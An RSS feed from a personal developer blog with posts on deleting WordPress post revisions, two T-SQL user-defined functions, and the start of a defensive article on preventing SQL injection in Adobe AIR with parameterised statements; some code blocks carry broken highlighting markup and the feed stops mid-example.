<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Simon Whatley &#187; database</title>
	<atom:link href="http://www.simonwhatley.co.uk/tag/database/feed" rel="self" type="application/rss+xml" />
	<link>http://www.simonwhatley.co.uk</link>
	<description>The opposite of every great idea is another great idea</description>
	<lastBuildDate>Wed, 02 Nov 2011 09:28:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How to Delete WordPress Post Revisions</title>
		<link>http://www.simonwhatley.co.uk/how-to-delete-wordpress-revisions</link>
		<comments>http://www.simonwhatley.co.uk/how-to-delete-wordpress-revisions#comments</comments>
		<pubDate>Wed, 10 Aug 2011 22:18:11 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[house keeping]]></category>
		<category><![CDATA[maintenance]]></category>
		<category><![CDATA[post revisions]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=4719</guid>
		<description><![CDATA[WordPress has a nice little feature of saving revisions of your posts whilst you're editing them. This is great if you need to roll back to a previous revision. However, after you've published a post, it's unlikely you'll need the old revisions.]]></description>
			<content:encoded><![CDATA[<p>WordPress has a nice little feature of saving revisions of your posts whilst you&#8217;re editing them. This is great if you need to roll back to a previous revision. However, after you&#8217;ve published a post, it&#8217;s unlikely you&#8217;ll need the old revisions.</p>
<p>The following <abbr title="Structured Query Language">SQL</abbr> can be used to delete the old post revisions and free up some space for your database.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">DELETE a,b,c
FROM wp_posts a
LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)
LEFT JOIN wp_postmeta c ON (a.ID = c.post_id)
WHERE a.post_type = 'revision'</pre></div></div>

<p>Of course, it&#8217;s a good idea to back up your database prior to deleting anything.</p>
<p>If you don&#8217;t want or need post revisions, you can add this line to your <code>config.php</code> to turn them off completely.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">define('WP_POST_REVISIONS', false);</pre></div></div>

<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-delete-wordpress-revisions/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL User-Defined Function: ListToTable</title>
		<link>http://www.simonwhatley.co.uk/sql-user-defined-function-listtotable</link>
		<comments>http://www.simonwhatley.co.uk/sql-user-defined-function-listtotable#comments</comments>
		<pubDate>Mon, 22 Sep 2008 10:58:30 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[array]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[extend]]></category>
		<category><![CDATA[function]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sub-routine]]></category>
		<category><![CDATA[subroutine]]></category>
		<category><![CDATA[t-sql]]></category>
		<category><![CDATA[tabular]]></category>
		<category><![CDATA[UDF]]></category>
		<category><![CDATA[user defined function]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=426</guid>
		<description><![CDATA[A common need in SQL is the ability to iterate over a list as if it were an array. In SQL it is not possible to declare arrays, unlike other programming languages such as ColdFusion, ActionScript and Java. Fortunately, there is a way around this problem: use a User-Defined Functions (UDFs) to create a tabular version of the data. Arrays are, after all, essentially tabular data (at their simplest, one dimension level).]]></description>
			<content:encoded><![CDATA[<p>A common need in <abbr title="Structured Query Language">SQL</abbr> is the ability to iterate over a list as if it were an <a href="http://en.wikipedia.org/wiki/Array" title="Wikipedia: Array" target="_blank" rel="nofollow">array</a>. In <abbr title="Structured Query Language">SQL</abbr> it is not possible to declare arrays, unlike other programming languages such as ColdFusion, ActionScript and Java. Fortunately, there is a way around this problem: use a <a href="http://en.wikipedia.org/wiki/User-defined_function" title="Wikipedia: User-Defined Functions" target="_blank" rel="nofollow">User-Defined Functions</a> (<abbr title="User Defined Functions">UDF</abbr>s) to create a tabular version of the data. Arrays are, after all, essentially tabular data (at their simplest, one dimension level).</p>
<p>A User-Defined Function, is a function provided by the user of a program or environment. In <abbr title="Structured Query Language">SQL</abbr> databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in <abbr title="Structured Query Language">SQL</abbr> statements.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>The Function Code</h3>
<p>Below is the complete function definition:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>CREATE</span> <<span style="color: #0000ff;">|</span>/1/>FUNCTION</span> dbo.udf_ListToTable
<span style="color: #66cc66;">&#40;</span>
	@LIST 		<<span style="color: #0000ff;">|</span>/2/>NVARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">4000</span><span style="color: #66cc66;">&#41;</span>,
	@DELIMITER 	<<span style="color: #0000ff;">|</span>/2/>NVARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #0000ff;">=</span> <span style="color: #ff0000;">','</span>
<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>RETURNS</span> @ListTable <<span style="color: #0000ff;">|</span>/1/>TABLE</span>
<span style="color: #66cc66;">&#40;</span>
	Item <<span style="color: #0000ff;">|</span>/2/>NVARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">200</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>AS</span>
<<span style="color: #0000ff;">|</span>/1/>BEGIN</span>
	<<span style="color: #0000ff;">|</span>/1/>DECLARE</span> @LenDel 	<<span style="color: #0000ff;">|</span>/2/>INT</span>
	<<span style="color: #0000ff;">|</span>/1/>DECLARE</span> @Pos 		<<span style="color: #0000ff;">|</span>/2/>INT</span>
	<<span style="color: #0000ff;">|</span>/1/>DECLARE</span> @Item 		<<span style="color: #0000ff;">|</span>/2/>NVARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">200</span><span style="color: #66cc66;">&#41;</span>
&nbsp;
	<span style="color: #808080;">--Get the length of the delimiter, use hack to get around LEN(' ') = 0 issue</span>
	<<span style="color: #0000ff;">|</span>/1/>SET</span> @LenDel <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">LEN</span><span style="color: #66cc66;">&#40;</span>@DELIMITER <span style="color: #0000ff;">+</span> <span style="color: #ff0000;">'|'</span><span style="color: #66cc66;">&#41;</span> <span style="color: #0000ff;">-</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>
&nbsp;
	<<span style="color: #0000ff;">|</span>/1/>SET</span> @Pos <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">CHARINDEX</span><span style="color: #66cc66;">&#40;</span>@DELIMITER, @LIST<span style="color: #66cc66;">&#41;</span>
	<<span style="color: #0000ff;">|</span>/1/>WHILE</span> @Pos <span style="color: #66cc66;">&gt;</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">0</span>
	<<span style="color: #0000ff;">|</span>/1/>BEGIN</span>
		<span style="color: #808080;">--Get the item</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span> @Item <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">SUBSTRING</span><span style="color: #66cc66;">&#40;</span>@LIST, <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>, @Pos-<<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #808080;">--Add it to the table (if not empty string)</span>
		<<span style="color: #0000ff;">|</span>/1/>IF</span> <span style="color: #ff00ff;">LEN</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">LTRIM</span><span style="color: #66cc66;">&#40;</span>@Item<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&gt;</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">0</span>
			<<span style="color: #0000ff;">|</span>/1/>INSERT</span> @ListTable <span style="color: #66cc66;">&#40;</span>Item<span style="color: #66cc66;">&#41;</span> <<span style="color: #0000ff;">|</span>/1/>VALUES</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">LTRIM</span><span style="color: #66cc66;">&#40;</span>@Item<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #808080;">--Remove the item from the list</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span> @LIST <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">STUFF</span><span style="color: #66cc66;">&#40;</span>@LIST, <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>, @Pos+@LenDel-<<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>, <span style="color: #ff0000;">''</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #808080;">--Get the position of the next delimiter</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span> @Pos <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">CHARINDEX</span><span style="color: #66cc66;">&#40;</span>@DELIMITER, @LIST<span style="color: #66cc66;">&#41;</span>
	<<span style="color: #0000ff;">|</span>/1/>END</span>
&nbsp;
	<span style="color: #808080;">--Add the last item to the table (if not empty string)</span>
	<<span style="color: #0000ff;">|</span>/1/>IF</span> <span style="color: #ff00ff;">LEN</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">LTRIM</span><span style="color: #66cc66;">&#40;</span>@LIST<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&gt;</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">0</span>
		<<span style="color: #0000ff;">|</span>/1/>INSERT</span> @ListTable <span style="color: #66cc66;">&#40;</span>Item<span style="color: #66cc66;">&#41;</span> <<span style="color: #0000ff;">|</span>/1/>VALUES</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">LTRIM</span><span style="color: #66cc66;">&#40;</span>@LIST<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
&nbsp;
	<<span style="color: #0000ff;">|</span>/1/>RETURN</span>
<<span style="color: #0000ff;">|</span>/1/>END</span>
<<span style="color: #0000ff;">|</span>/1/>GO</span></pre></div></div>

<p>The function simply loops over the list passed into the function. Each list item is then inserted into the variable named <code>@ListTable</code>, which is of type <code>TABLE</code>. The <code>@ListTable</code> variable is then returned out of the function and can be handled the same as any other table.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>The Function In Use</h3>
<p>A simple demonstration is as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>INSERT</span> <<span style="color: #0000ff;">|</span>/1/>INTO</span> tableName <span style="color: #66cc66;">&#40;</span>column1, column2, column3, column4<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>SELECT</span> @variable1, @variable2, myTable.item, <span style="color: #ff00ff;">GETDATE</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>FROM</span> dbo.udf_ListToTable<span style="color: #66cc66;">&#40;</span>@list,<span style="color: #ff0000;">','</span><span style="color: #66cc66;">&#41;</span> <<span style="color: #0000ff;">|</span>/1/>AS</span> myTable</pre></div></div>

<p>In this example, we insert the same information (<code>@variable1</code>, <code>@variable2</code>) for every instance of an item found in <code>myTable</code>.</p>
<p>This is useful, for example, if you want to apply a setting to a group of users. The group of users could be contained in a list that needs to be parsed as a table, whilst the individual setting details are contained in the other variables.</p>
<h3>Download the Code</h3>
<p><a href="/examples/sql/functions/udf_ListToTable.txt" title="Download the code">Download the code</a>, rename the file to .sql and run on your database instance. You will then be able to reference the function in your Stored Procedures.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/sql-user-defined-function-listtotable/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL User-Defined Function: ReplaceChars</title>
		<link>http://www.simonwhatley.co.uk/sql-user-defined-function-replacechars</link>
		<comments>http://www.simonwhatley.co.uk/sql-user-defined-function-replacechars#comments</comments>
		<pubDate>Fri, 19 Sep 2008 14:46:13 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[extend]]></category>
		<category><![CDATA[fairly straight forward]]></category>
		<category><![CDATA[function]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sub-routine]]></category>
		<category><![CDATA[subroutine]]></category>
		<category><![CDATA[t-sql]]></category>
		<category><![CDATA[UDF]]></category>
		<category><![CDATA[user defined function]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=425</guid>
		<description><![CDATA[The SQL Replace function enables us to look for a certain character phrase in a string and replace it with another character phrase. The updated string is then returned by the function.]]></description>
			<content:encoded><![CDATA[<p>The <abbr title="Structured Query Language">SQL</abbr> <code>REPLACE</code> function enables us to look for a certain character phrase in a string and replace it with another character phrase. The updated string is then returned by the function.</p>
<p>The syntax for this string function is the same for <abbr title="Structured Query Language">SQL</abbr> Server, Oracle and Microsoft Access. The syntax is as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>stringToLookIn, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span></pre></div></div>

<p>The syntax is fairly straight forward, the <em>stringToMatch</em> parameter is the character phrase that we want to replace, the <em>replacementsString</em> is the character phrase that will replace any occurence of the stringToMatch parameter. If the stringToMatch phrase occurs more than once in the string, then all instances of the phrase will be replaced with the replacement string. If no matches were found then the string is returned unaltered.</p>
<p>If we want to match multiple items, we need to nest the <code>REPLACE</code> function:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>stringToLookIn, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span>, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span></pre></div></div>

<p>or set the replaced string into a new variable multiple times:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;">stringReturned <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>stringToLookIn, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span>
stringReturned <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>stringReturned, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span></pre></div></div>

<p>This is far from ideal, especially the more strings there are to be matched. This is where <a href="http://en.wikipedia.org/wiki/User-defined_function" title="Wikipedia: User-Defined Functions" target="_blank" rel="nofollow">User-Defined Functions</a> (<abbr title="User Defined Functions">UDF</abbr>s) can provide the answer.</p>
<p>A User-Defined Function, is a function provided by the user of a program or environment. In <abbr title="Structured Query Language">SQL</abbr> databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in <abbr title="Structured Query Language">SQL</abbr> statements.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>The Function Code</h3>
<p>Below is the complete function definition:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>CREATE</span> <<span style="color: #0000ff;">|</span>/1/>FUNCTION</span> dbo.udf_ReplaceChars
<span style="color: #66cc66;">&#40;</span>
@ReplaceList		<<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span>,
@String			<<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>RETURNS</span> <<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>AS</span>
<<span style="color: #0000ff;">|</span>/1/>BEGIN</span>
	<<span style="color: #0000ff;">|</span>/1/>DECLARE</span>	@<<span style="color: #0000ff;">|</span>/2/>CHAR</span>		<<span style="color: #0000ff;">|</span>/2/>CHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>,
		@Loop		<<span style="color: #0000ff;">|</span>/2/>INT</span>
&nbsp;
	<<span style="color: #0000ff;">|</span>/1/>SET</span> @Loop  <span style="color: #0000ff;">=</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">0</span>
	<<span style="color: #0000ff;">|</span>/1/>WHILE</span> @Loop <span style="color: #66cc66;">&lt;</span> <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">LEN</span><span style="color: #66cc66;">&#40;</span>@ReplaceList<span style="color: #66cc66;">&#41;</span>
	<<span style="color: #0000ff;">|</span>/1/>BEGIN</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span>	@Loop <span style="color: #0000ff;">=</span> @Loop <span style="color: #0000ff;">+</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span>	@<<span style="color: #0000ff;">|</span>/2/>CHAR</span> <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">SUBSTRING</span><span style="color: #66cc66;">&#40;</span>@ReplaceList, @Loop, <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span>	@String <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>@String, @<<span style="color: #0000ff;">|</span>/2/>CHAR</span>, <span style="color: #ff0000;">''</span><span style="color: #66cc66;">&#41;</span>
	<<span style="color: #0000ff;">|</span>/1/>END</span>
&nbsp;
	<<span style="color: #0000ff;">|</span>/1/>RETURN</span>		@String
&nbsp;
<<span style="color: #0000ff;">|</span>/1/>END</span>
<<span style="color: #0000ff;">|</span>/1/>GO</span></pre></div></div>

<p>The function simply loops over the replace list, finding each instance of the list item in the string in which we want to replace items. The new string is then returned out of the function.</p>
<h3>The Function In Use</h3>
<p>A very simple use of the replace function could be as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>SELECT</span> dbo.udf_ReplaceChars<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'=,/,&lt;,&gt;,@,~,#'</span>, columnName<span style="color: #66cc66;">&#41;</span> <<span style="color: #0000ff;">|</span>/1/>AS</span> newColumn, columnName
<<span style="color: #0000ff;">|</span>/1/>FROM</span> tableName</pre></div></div>

<p>The function is not restricted to <code>SELECT</code> statements. Below is an example of an <code>UPDATE</code> statement utilising a variable:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>UPDATE</span> tableName
<<span style="color: #0000ff;">|</span>/1/>SET</span> columnName <span style="color: #0000ff;">=</span> dbo.udf_ReplaceChars<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'=,/,&lt;,&gt;,@,~,#'</span>, @variableName<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>WHERE</span> idName <span style="color: #0000ff;">=</span> @myId</pre></div></div>

<h3>Download the Code</h3>
<p><a href="/examples/sql/functions/udf_ReplaceChars.txt" title="Download the code">Download the code</a>, rename the file to .sql and run on your database instance. You will then be able to reference the function in your Stored Procedures.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/sql-user-defined-function-replacechars/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Preventing SQL Injection in an AIR Application</title>
		<link>http://www.simonwhatley.co.uk/preventing-sql-injection-in-an-air-application</link>
		<comments>http://www.simonwhatley.co.uk/preventing-sql-injection-in-an-air-application#comments</comments>
		<pubDate>Mon, 01 Sep 2008 10:41:20 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Adobe Integrated Runtime]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[online repositories]]></category>
		<category><![CDATA[relational database]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[SQLite]]></category>
		<category><![CDATA[United States]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=959</guid>
		<description><![CDATA[SQLite is a mostly ACID-compliant relational database management system contained in a relatively small (~500kB) C programming library. The Adobe AIR runtime includes the SQLite embedded database for use by Adobe AIR applications. This allows applications to run and store data locally and or synchronise the datastore with online repositories.]]></description>
			<content:encoded><![CDATA[<p>SQLite is a mostly <a href="http://en.wikipedia.org/wiki/ACID" title="Wikipedia: ACID" target="_blank" rel="nofollow">ACID</a>-compliant relational database management system contained in a relatively small (~500kB) C programming library. The Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym> runtime includes the SQLite embedded database for use by Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym> applications. This allows applications to run and store data locally and or synchronise the datastore with online repositories.</p>
<p>Applications that depend on user input to create a <abbr title="Structured Query Language">SQL</abbr> statement &#8212; concatenating the user input to the SQL query &#8212; can become vulnerable to <a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> attacks, much like those common to web applications.</p>
<p><abbr title="Structured Query Language">SQL</abbr> Injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in <abbr title="Structured Query Language">SQL</abbr> statements or user input is not strongly typed and thereby unexpectedly executed.</p>
<p>Fortunately, there is a simple solution to the problem: use parameterised <abbr title="Structured Query Language">SQL</abbr> Statements. Parameterised statements not only make your applications more secure and run more efficiently, but they also enable you to use objects, rather than literal values, in your queries. <abbr title="Structured Query Language">SQL</abbr> injection can&#8217;t happen because the parameter values are treated explicitly as substituted values, rather than becoming part of the literal statement text.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Parameters in a <abbr title="Structured Query Language">SQL</abbr> statement can be either <em>named</em> or <em>unnamed</em>. Below are examples of both types of statement in ActionScript and JavaScript.</p>
<h3>Named Parameters</h3>
<p>A named parameter has a specific name that is used to match the parameter value to its placeholder location in the <abbr title="Structured Query Language">SQL</abbr> statement text. A parameter name consists of the colon (:) or an at (@) character followed by the variable&#8217;s name:</p>
<p><strong>ActionScript 3</strong></p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> conn<span style="color: #000000; font-weight: bold;">:</span>SQLConnection = <span style="color: #0033ff; font-weight: bold;">new</span> SQLConnection<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> stmt<span style="color: #000000; font-weight: bold;">:</span>SQLStatement = <span style="color: #0033ff; font-weight: bold;">new</span> SQLStatement<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
stmt.sqlConnection = conn;
stmt.<span style="color: #004993;">text</span> = <span style="color: #990000;">&quot;INSERT INTO user VALUES(@title, @firstname, @lastname)&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #990000;">&quot;@title&quot;</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;Mr&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #990000;">&quot;@firstname&quot;</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;Simon&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #990000;">&quot;@lastname&quot;</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;Whatley&quot;</span>;
stmt.execute<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span></pre></div></div>

<p><strong>JavaScript</strong></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> conn <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> air.<span style="color: #660066;">SQLConnection</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> stmt <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> air.<span style="color: #660066;">SQLStatement</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">sqlConnection</span> <span style="color: #339933;">=</span> conn<span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">text</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;INSERT INTO user VALUES(@title, @firstname, @lastname)&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;@title&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Mr&quot;</span><span style="color: #339933;">;</span>
